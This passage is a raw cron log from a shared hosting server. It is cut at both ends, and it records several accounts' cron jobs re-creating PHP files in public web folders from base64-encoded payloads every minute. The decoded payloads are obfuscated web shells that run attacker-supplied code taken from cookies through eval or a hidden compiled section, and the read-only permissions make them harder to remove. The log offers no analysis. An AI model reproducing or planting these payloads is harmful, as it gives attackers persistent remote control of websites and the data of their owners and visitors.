CAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:11:01 medusa CROND[16362]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:11:01 medusa CROND[16363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:11:01 medusa CROND[16365]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:11:01 medusa CROND[16378]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:11:01 medusa CROND[16380]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:12:01 medusa CROND[31331]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:12:01 medusa CROND[31424]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:12:01 medusa CROND[31425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:12:01 medusa CROND[31426]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:12:01 medusa CROND[31427]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 20:12:01 medusa CROND[31432]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:12:01 medusa CROND[31433]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:12:01 medusa CROND[31431]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:12:01 medusa CROND[31430]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:12:01 medusa CROND[31434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:12:01 medusa CROND[31439]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:12:01 medusa CROND[31438]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:12:01 medusa CROND[31442]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:12:01 medusa CROND[31436]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 20:13:01 medusa CROND[12475]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 20:13:01 medusa CROND[12476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:13:01 medusa CROND[12477]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:13:01 medusa CROND[12479]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:13:01 medusa CROND[12481]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:13:01 medusa CROND[12482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:13:01 medusa CROND[12483]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 20:13:01 medusa CROND[12484]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:13:01 medusa CROND[12487]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:13:01 medusa CROND[12489]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 20:13:01 medusa CROND[12495]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:13:01 medusa CROND[12496]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:13:01 medusa CROND[12500]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:13:01 medusa CROND[12498]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9J